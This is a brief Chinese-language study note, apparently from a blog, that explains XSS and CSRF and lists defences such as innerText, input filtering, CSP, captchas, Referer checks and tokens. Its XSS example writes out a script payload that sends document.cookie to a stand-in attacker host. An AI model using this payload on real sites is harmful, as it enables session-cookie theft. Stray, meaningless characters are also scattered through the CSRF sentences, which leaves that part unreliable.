XSS
XSS:跨站腳本(Cross-Site Script)攻擊,利用惡意腳本注入。關(guān)鍵詞:script
- 舉例
div.innerHTML = userComment // userComment 內(nèi)容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 惡意就被執(zhí)行了,這就是 XSS
- 預(yù)防
- 不要使用
innerHTML
,改成innerText
,script會(huì)當(dāng)成文本不會(huì)執(zhí)行 - 用戶輸入過(guò)濾
- 使用CSP(Content Security Policy)
CSRF
CSRF:跨站請(qǐng)求偽造(Cross-Site Request Forgery),偽造發(fā)送非本意的請(qǐng)求
關(guān)鍵詞:request
預(yù)防
- 驗(yàn)證碼
- Refer
根據(jù) HTTP 協(xié)議梅鹦,在 HTTP 頭中有一個(gè)字段叫 Referer,它記錄了該 HTTP 請(qǐng)求的來(lái)源地址冗锁。通過(guò) Referer Check齐唆,可以檢查請(qǐng)求是否來(lái)自合法的"源"。 - token驗(yàn)證
可以在 HTTP 請(qǐng)求中以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的 token冻河,并在服務(wù)器端建立一個(gè)攔截器來(lái)驗(yàn)證這個(gè) token箍邮,如果請(qǐng)求中沒(méi)有 token 或者 token 內(nèi)容不正確,則認(rèn)為可能是 CSRF 攻擊而拒絕該請(qǐng)求叨叙。